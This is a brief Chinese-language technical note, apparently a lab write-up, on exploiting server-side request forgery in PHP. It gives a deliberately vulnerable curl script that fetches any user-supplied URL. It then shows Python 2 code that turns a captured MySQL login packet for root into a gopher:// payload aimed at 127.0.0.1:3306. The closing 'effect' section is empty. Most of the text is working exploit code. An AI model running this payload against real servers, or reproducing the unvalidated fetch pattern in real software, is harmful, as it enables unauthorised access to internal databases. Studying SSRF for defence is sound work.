php ssrf 代码
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
$data =curl_exec($ch);
curl_close($ch);
echo $data;
?>

　

抓包跟踪tcp流

 

tcp流原始数据处理 进行urlencode

 

python 数据处理

import urllib

s="""5000000185a60f0000000001210000000000000000000000000000000000000000000000726f6f7400143cf76dd39987f1d2648aabfc4ae53cf62e826ea76d7973716c5f6e61746976655f70617373776f726400
210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031"""
s = "".join(s.split())

def encode(s):
    a = [s[2*i:2*i+2] for i in xrange(len(s)/2)]
    return "gopher://127.0.0.1:3306/_%" + "%".join(a)

s = encode(s)
print "[+ local]", s

s = urllib.quote(s)
print "[+ url]", s

　

效果：